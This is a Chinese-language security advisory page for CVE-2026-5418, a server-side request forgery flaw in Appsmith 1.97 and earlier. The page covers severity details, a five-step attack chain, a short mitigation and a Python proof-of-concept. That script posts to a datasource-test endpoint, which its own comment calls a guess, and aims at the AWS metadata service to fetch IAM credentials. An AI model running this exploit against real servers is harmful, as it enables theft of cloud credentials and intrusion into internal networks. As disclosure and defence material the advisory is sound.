IPBUF安全漏洞报告
English
CVE-2026-5418 CVSS 7.3 高危

CVE-2026-5418 Appsmith SSRF漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-5418
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Appsmith

相关标签

SSRFAppsmithCVE-2026-5418Server-Side Request ForgeryHigh Severity

漏洞概述

Appsmith <= 1.97版本存在SSRF漏洞。Dashboard组件中WebClientUtils类的computeDisallowedHosts函数校验逻辑存在缺陷,允许攻击者远程操纵服务器发起恶意请求。利用该漏洞可访问内网资源,目前已有公开PoC。

技术细节

漏洞位于Appsmith服务端组件Dashboard的WebClientUtils.java文件中,具体涉及computeDisallowedHosts函数。该函数本用于计算并阻止对受限主机的请求,但由于实现逻辑存在缺陷,未能正确过滤恶意构造的主机头或URL参数。攻击者无需认证即可利用此漏洞,通过发送特制的HTTP请求,绕过安全校验机制,迫使服务器向攻击者指定的任意目标(包括内网IP地址、本地回环地址或云元数据服务)发起请求。这可能导致内网敏感信息泄露、内部服务探测或进一步的内网横向移动。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统使用的是Appsmith 1.97或更低版本。
STEP 2
2. 构造恶意请求
攻击者构造包含内网IP或云元数据地址的URL参数,利用computeDisallowedHosts函数的验证缺陷。
STEP 3
3. 发起SSRF攻击
向Appsmith服务器发送特制的HTTP请求,服务器端未能过滤该恶意地址。
STEP 4
4. 内部请求执行
Appsmith服务器作为代理,向攻击者指定的内部地址发起请求,获取响应数据。
STEP 5
5. 数据泄露或进一步渗透
攻击者获取内网敏感信息(如云凭证)或利用返回的数据进行下一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def trigger_ssrf(target_host, internal_url): """ PoC for CVE-2026-5418 Attempts to trigger SSRF via the vulnerable computeDisallowedHosts logic. """ # The endpoint might vary based on Appsmith configuration, assuming a datasource testing endpoint url = f"{target_host}/api/v1/datasources/test" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-5418-Scanner" } # Payload targeting internal metadata (common SSRF target) payload = { "url": internal_url, "method": "GET" } try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully to {internal_url}") print(f"[+] Response snippet: {response.text[:200]}") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target # Attempting to access AWS Metadata internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" trigger_ssrf(target, internal_target)

影响范围

Appsmith <= 1.97

防御指南

临时缓解措施
如果无法立即升级,建议通过网络ACL或安全组限制Appsmith服务器的出站连接,仅允许必要的业务流量。同时,监控服务器日志中是否存在对敏感内部IP的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表